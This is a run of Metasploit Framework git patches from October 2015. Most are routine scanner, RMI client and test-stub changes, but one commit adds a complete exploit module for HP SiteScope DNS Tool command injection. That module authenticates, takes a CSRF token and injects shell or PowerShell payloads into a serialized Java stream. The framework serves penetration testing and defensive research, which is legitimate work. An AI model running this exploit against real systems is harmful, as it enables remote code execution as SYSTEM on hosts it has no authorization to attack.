2c69b41023..64e998a552 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -27,6 +27,8 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip}:#{rport} IMAP #{banner_sanitized}") report_service(:host => rhost, :port => rport, :name => "imap", :info => banner) rescue ::Rex::ConnectionError + rescue ::EOFError + print_error('The service failed to respond with a banner') rescue ::Exception => e print_error("#{rhost}:#{rport} #{e} #{e.backtrace}") end diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index a6a232972b..20394a874a 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -31,6 +31,8 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip}:#{rport} POP3 #{banner_sanitized}") report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner) rescue ::Rex::ConnectionError + rescue ::EOFError + print_error('The service failed to respond with a banner') rescue ::Exception => e print_error("#{rhost}:#{rport} #{e} #{e.backtrace}") end From b95d5790f60b4243e513c2d5ae28f9c51c1b0a32 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 9 Oct 2015 11:13:50 -0500 Subject: [PATCH 0870/2172] Improve output --- modules/auxiliary/scanner/imap/imap_version.rb | 6 +++--- modules/auxiliary/scanner/pop3/pop3_version.rb | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index 64e998a552..74ff3e3e3f 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -22,15 +22,15 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin - res = connect + connect banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) print_status("#{ip}:#{rport} IMAP #{banner_sanitized}") report_service(:host => rhost, :port => rport, :name => "imap", :info => banner) rescue ::Rex::ConnectionError rescue ::EOFError - print_error('The service failed to respond with a banner') + print_error("#{ip}:#{rport} - The service failed to respond") rescue ::Exception => e - print_error("#{rhost}:#{rport} #{e} #{e.backtrace}") + print_error("#{ip}:#{rport} - #{e} #{e.backtrace}") end end diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index 20394a874a..ff3d1828c2 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -25,16 +25,16 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin - res = connect + connect banner = sock.get_once(-1, 30) banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) print_status("#{ip}:#{rport} POP3 #{banner_sanitized}") report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner) rescue ::Rex::ConnectionError rescue ::EOFError - print_error('The service failed to respond with a banner') + print_error("#{ip}:#{rport} - The service failed to respond") rescue ::Exception => e - print_error("#{rhost}:#{rport} #{e} #{e.backtrace}") + print_error("#{ip}:#{rport} - #{e} #{e.backtrace}") end end From eabe742b9d470c729aaff76c83d95807276187e8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 11:17:44 -0500 Subject: [PATCH 0871/2172] Expose the timeout betweed reads as mixin option --- lib/msf/java/rmi/client.rb | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index e2760415c1..9cb6987357 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -19,6 +19,23 @@ module Msf include Msf::Java::Rmi::Client::Jmx include Exploit::Remote::Tcp + def initialize(info = {}) + super + + register_advanced_options( + [ + OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1]) + ], Msf::Java::Rmi::Client + ) + end + + # Returns the timeout to wait for data between read iterations + # + # @return [Fixnum] + def read_loop_timeout + datastore['RmiReadLoopTimeout'] || 1 + end + # Returns the target host # # @return [String] @@ -121,7 +138,7 @@ module Msf # # @param nsock [Rex::Socket::Tcp] # @return [String] - def safe_get_once(nsock = sock, read_loop_timeout = 1) + def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout) data = '' begin res = nsock.get_once @@ -129,7 +146,7 @@ module Msf res = nil end - while res && nsock.has_read_data?(read_loop_timeout) + while res && nsock.has_read_data?(loop_timeout) data << res begin res = nsock.get_once From 8670224ea0d5a4d10ba07dfce159ab385715970a Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 9 Oct 2015 11:26:33 -0500 Subject: [PATCH 0872/2172] Prefer do/end --- lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 9c96590f50..0fe2cb45cc 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2997,9 +2997,9 @@ class Core res << Rex::Socket.source_address # getifaddrs was introduced in 2.1.2 if Socket.respond_to?(:getifaddrs) - ifaddrs = Socket.getifaddrs.find_all { |ifaddr| + ifaddrs = Socket.getifaddrs.find_all do |ifaddr| ((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip? - } + end res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address } end end From 3d1ec54f02c11bfe08600d20258d278b8dc6036f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 11:36:24 -0500 Subject: [PATCH 0873/2172] Stub has_read_data? --- spec/lib/msf/java/rmi/client_spec.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index cd4de62bf3..008b543ae1 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -48,6 +48,10 @@ describe Msf::Java::Rmi::Client do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end describe "#send_header" do From 12d2594095e4bd3c6b41488a41a9ea16643423be Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 12:00:35 -0500 Subject: [PATCH 0874/2172] Add StringIO stub to Msf::Java::Rmi::Client::Jmx::Connection --- spec/lib/msf/java/rmi/client/jmx/connection_spec.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb index 5ca9952516..068988f14a 100644 --- a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb @@ -105,6 +105,10 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns true" do @@ -125,6 +129,10 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns true" do @@ -145,6 +153,10 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns true" do From 62272e64ed7147e83a47e4f8e32d1c26002978ce Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 12:16:59 -0500 Subject: [PATCH 0875/2172] Fix RMI Registry specs --- spec/lib/msf/java/rmi/client/registry_spec.rb | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/spec/lib/msf/java/rmi/client/registry_spec.rb b/spec/lib/msf/java/rmi/client/registry_spec.rb index ce7496e567..702d37cfc3 100644 --- a/spec/lib/msf/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/java/rmi/client/registry_spec.rb @@ -163,6 +163,10 @@ describe Msf::Java::Rmi::Client::Registry do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns empty array" do @@ -181,6 +185,10 @@ describe Msf::Java::Rmi::Client::Registry do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns the list of registered names" do @@ -202,6 +210,10 @@ describe Msf::Java::Rmi::Client::Registry do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "raises an Rex::Proto::Rmi::Exception" do @@ -220,6 +232,10 @@ describe Msf::Java::Rmi::Client::Registry do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns the reference information" do From 3cd9dc4fde06e43e6e7b489cbcb31a2f7eb94b3d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 12:17:44 -0500 Subject: [PATCH 0876/2172] Fix JMX Server specs --- spec/lib/msf/java/rmi/client/jmx/server_spec.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb index 596bcd59a3..fbc2bf81ed 100644 --- a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb @@ -51,6 +51,10 @@ describe Msf::Java::Rmi::Client::Jmx::Server do allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| io.read end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns the reference information" do From 3aa7b513d5b25e8c30dcf17a02094628034fb868 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 13:34:38 -0500 Subject: [PATCH 0877/2172] Delete safe_get_once --- lib/msf/java/rmi/client.rb | 48 +------------------ .../java/rmi/client/jmx/connection_spec.rb | 24 ---------- .../msf/java/rmi/client/jmx/server_spec.rb | 8 ---- spec/lib/msf/java/rmi/client_spec.rb | 8 ---- 4 files changed, 2 insertions(+), 86 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 9cb6987357..f14ff153da 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -19,23 +19,6 @@ module Msf include Msf::Java::Rmi::Client::Jmx include Exploit::Remote::Tcp - def initialize(info = {}) - super - - register_advanced_options( - [ - OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1]) - ], Msf::Java::Rmi::Client - ) - end - - # Returns the timeout to wait for data between read iterations - # - # @return [Fixnum] - def read_loop_timeout - datastore['RmiReadLoopTimeout'] || 1 - end - # Returns the target host # # @return [String] @@ -103,9 +86,8 @@ module Msf # @see Rex::Proto::Rmi::Model::ProtocolAck.decode def recv_protocol_ack(opts = {}) nsock = opts[:sock] || sock - data = safe_get_once(nsock) begin - ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(nsock) rescue Rex::Proto::Rmi::DecodeError return nil end @@ -123,41 +105,15 @@ module Msf # @see Rex::Proto::Rmi::Model::ReturnData.decode def recv_return(opts = {}) nsock = opts[:sock] || sock - data = safe_get_once(nsock) begin - return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(nsock) rescue Rex::Proto::Rmi::DecodeError return nil end return_data.return_value end - - # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` - # - # @param nsock [Rex::Socket::Tcp] - # @return [String] - def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout) - data = '' - begin - res = nsock.get_once - rescue ::EOFError - res = nil - end - - while res && nsock.has_read_data?(loop_timeout) - data << res - begin - res = nsock.get_once - rescue ::EOFError - res = nil - end - end - - data << res if res - data - end end end end diff --git a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb index 068988f14a..58200f856e 100644 --- a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb @@ -101,14 +101,6 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do io.write(get_object_instance_response) io.seek(0) end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end end it "returns true" do @@ -125,14 +117,6 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do io.write(create_mbean_response) io.seek(0) end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end end it "returns true" do @@ -149,14 +133,6 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do io.write(invoke_response) io.seek(0) end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end end it "returns true" do diff --git a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb index fbc2bf81ed..c8528f2031 100644 --- a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb @@ -47,14 +47,6 @@ describe Msf::Java::Rmi::Client::Jmx::Server do io.write(new_client_response) io.seek(0) end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end end it "returns the reference information" do diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 008b543ae1..5ae74bfacc 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -44,14 +44,6 @@ describe Msf::Java::Rmi::Client do allow_any_instance_of(::StringIO).to receive(:put) do |io, data| io.write(data) end - - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| - false - end end describe "#send_header" do From 347495e2f57175709d7c5ef41b50409f8eebd4ad Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 13:41:41 -0500 Subject: [PATCH 0878/2172] Rescue Rex::StreamClosedError when there is a session --- modules/exploits/multi/misc/java_rmi_server.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index b557a3bf4b..dde9a19bad 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -154,7 +154,13 @@ class Metasploit3 < Msf::Exploit::Remote arguments: build_dgc_clean_args(new_url) ) - return_value = recv_return + begin + return_value = recv_return + rescue Rex::StreamClosedError + # There should be a session... + disconnect + return + end if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') From 5e9faad4dcd5adee043b55f6e839156e82e97de0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 9 Oct 2015 14:09:12 -0500 Subject: [PATCH 0879/2172] Revert "Merge branch using Rex sockets as IO" This reverts commit c48246c91ce727ab55caf517cddfd5e17766b9bf, reversing changes made to 3cd9dc4fde06e43e6e7b489cbcb31a2f7eb94b3d. --- lib/msf/java/rmi/client.rb | 48 ++++++++++++++++++- .../exploits/multi/misc/java_rmi_server.rb | 8 +--- .../java/rmi/client/jmx/connection_spec.rb | 24 ++++++++++ .../msf/java/rmi/client/jmx/server_spec.rb | 8 ++++ spec/lib/msf/java/rmi/client_spec.rb | 8 ++++ 5 files changed, 87 insertions(+), 9 deletions(-) diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index f14ff153da..9cb6987357 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -19,6 +19,23 @@ module Msf include Msf::Java::Rmi::Client::Jmx include Exploit::Remote::Tcp + def initialize(info = {}) + super + + register_advanced_options( + [ + OptInt.new('RmiReadLoopTimeout', [ true, 'Maximum number of seconds to wait for data between read iterations', 1]) + ], Msf::Java::Rmi::Client + ) + end + + # Returns the timeout to wait for data between read iterations + # + # @return [Fixnum] + def read_loop_timeout + datastore['RmiReadLoopTimeout'] || 1 + end + # Returns the target host # # @return [String] @@ -86,8 +103,9 @@ module Msf # @see Rex::Proto::Rmi::Model::ProtocolAck.decode def recv_protocol_ack(opts = {}) nsock = opts[:sock] || sock + data = safe_get_once(nsock) begin - ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(nsock) + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) rescue Rex::Proto::Rmi::DecodeError return nil end @@ -105,15 +123,41 @@ module Msf # @see Rex::Proto::Rmi::Model::ReturnData.decode def recv_return(opts = {}) nsock = opts[:sock] || sock + data = safe_get_once(nsock) begin - return_data = Rex::Proto::Rmi::Model::ReturnData.decode(nsock) + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) rescue Rex::Proto::Rmi::DecodeError return nil end return_data.return_value end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param nsock [Rex::Socket::Tcp] + # @return [String] + def safe_get_once(nsock = sock, loop_timeout = read_loop_timeout) + data = '' + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + + while res && nsock.has_read_data?(loop_timeout) + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end end end end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index dde9a19bad..b557a3bf4b 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -154,13 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote arguments: build_dgc_clean_args(new_url) ) - begin - return_value = recv_return - rescue Rex::StreamClosedError - # There should be a session... - disconnect - return - end + return_value = recv_return if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') diff --git a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb index 58200f856e..068988f14a 100644 --- a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb @@ -101,6 +101,14 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do io.write(get_object_instance_response) io.seek(0) end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns true" do @@ -117,6 +125,14 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do io.write(create_mbean_response) io.seek(0) end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns true" do @@ -133,6 +149,14 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do io.write(invoke_response) io.seek(0) end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns true" do diff --git a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb index c8528f2031..fbc2bf81ed 100644 --- a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb @@ -47,6 +47,14 @@ describe Msf::Java::Rmi::Client::Jmx::Server do io.write(new_client_response) io.seek(0) end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end it "returns the reference information" do diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 5ae74bfacc..008b543ae1 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -44,6 +44,14 @@ describe Msf::Java::Rmi::Client do allow_any_instance_of(::StringIO).to receive(:put) do |io, data| io.write(data) end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + + allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + false + end end describe "#send_header" do From 55ef6ebe91b1886fb68586ba713c22ca1b2f93ec Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Oct 2015 14:55:48 -0500 Subject: [PATCH 0880/2172] HP SiteScope vuln, R7-2015-17 On behalf of @l0gan, already reviewed once by @jvazquez-r7, reviewed again by me. For details, see: https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection --- .../windows/http/hp_sitescope_dns_tool.rb | 196 ++++++++++++++++++ 1 file changed, 196 insertions(+) create mode 100644 modules/exploits/windows/http/hp_sitescope_dns_tool.rb diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb new file mode 100644 index 0000000000..145dfcd095 --- /dev/null +++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => 'HP SiteScope DNS Tool Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability + discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26 + and 11.30). The vulnerability exists in the DNS Tool allowing an + attacker to execute arbitrary commands in the context of the service. By + default, HP SiteScope installs and runs as SYSTEM in Windows and does + not require authentication. This vulnerability only exists on the + Windows version. The Linux version is unaffected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author + 'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery + 'Juan Vazquez' # help with MSF module + ], + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-to'], + ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher', + { + 'Arch' => [ARCH_X86_64, ARCH_X86] + } + ], + [ 'HP SiteScope 11.30 / CMD', + { + 'Arch' => [ARCH_CMD] + } + ] + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 9 2015')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']), + OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']), + OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) + ], self.class) + end + + def exploit + initial_session = get_initial_session_id + redirect = authenticate(initial_session) + session = get_authenticated_session_id(initial_session, redirect) + csrf_token = get_csrf_token(session) + + print_status("#{peer} - Executing payload") + random_mark = Rex::Text.rand_text_alpha(5 + rand(5)) + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'), + 'method' => 'POST', + 'vars_get' => { + 'OWASP_CSRFTOKEN' => csrf_token + }, + 'cookie' => session, + 'ctype' => 'application/octet- serializable object', + 'data' => build_stream(random_mark) + }, 5) + + if res && res.code == 200 && res.body + res_io = StringIO.new(res.body.to_s) + res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io) + return if res_stream.nil? + show = false + res_stream.references.each do |ref| + if ref.class == Rex::Java::Serialization::Model::Utf && show + print_good(ref.contents) + next + elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark) + show = true + next + end + end + end + end + + def get_initial_session_id + print_status("#{peer} - Retrieving an initial JSESSIONID...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'), + 'method' => 'POST' + ) + + if res and res.code == 200 and res.get_cookies.include?('JSESSIONID') + session_id = res.get_cookies + else + fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed") + end + + session_id + end + + def authenticate(session_id) + print_status("#{peer} - Authenticating on HP SiteScope Configuration...") + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'), + 'method' => 'POST', + 'cookie' => session_id, + 'vars_post' => { + 'j_username' => datastore['SITE_SCOPE_USER'], + 'j_password' => datastore['SITE_SCOPE_PASSWORD'] + } + }) + + if res && res.code == 302 + redirect = URI(res.headers['Location']).path + else + fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed") + end + + redirect + end + + def get_authenticated_session_id(session_id, redirect) + print_status("#{peer} - Following redirection to finish authentication...") + + res = send_request_cgi( + { + 'uri' => redirect, + 'method' => 'GET', + 'cookie' => session_id + }) + + if res && res.code == 200 && res.get_cookies.include?('JSESSIONID') + auth_session = res.get_cookies + else + fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed") + end + + auth_session + end + + def get_csrf_token(session) + print_status("#{peer} - Getting anti-CSRF token...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'), + 'cookie' => session + ) + + if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/ + csrf_token = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token") + end + + csrf_token + end + + def build_stream(random_mark) + site = "google.com & echo #{random_mark} & " + if target.arch.include?('cmd') + command = payload.encoded + else + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + end + + file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw') + + f = File.new(file, 'rb') + stream = Rex::Java::Serialization::Model::Stream.decode(f) + f.close + + dns_param = stream.references[0x44] + dns_param.contents = site + command + dns_param.length = dns_param.contents.length + + stream.encode + end +end From b04f947272a9b9bc684e3aa0074fecac9610f944 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Oct 2015 14:59:57 -0500 Subject: [PATCH 0881/2172] Fix blog post date, derp --- modules/exploits/windows/http/hp_sitescope_dns_tool.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb index 145dfcd095..bd4d18ed01 100644 --- a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb +++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-to'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-to'], ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site ], 'Platform' => 'win', From 94bb94d33a30fad1c3c343b97c0115cd9fbad0ee Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 9 Oct 2015 15:07:44 -0500 Subject: [PATCH 0882/2172] Working URL for real --- modules/exploits/windows/http/hp_sitescope_dns_tool.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb index bd4d18ed01..b5f8e8b7af 100644 --- a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb +++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-to'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'], ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site ], 'Platform' => 'win', From cd2e9d4232744688d6fc8c9ce94deda49fe47c76 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 9 Oct 2015 13:24:34 -0700 Subject: [PATCH 0883/2172] Move Msf::Java to the normal Msf::Exploit::Remote namespace 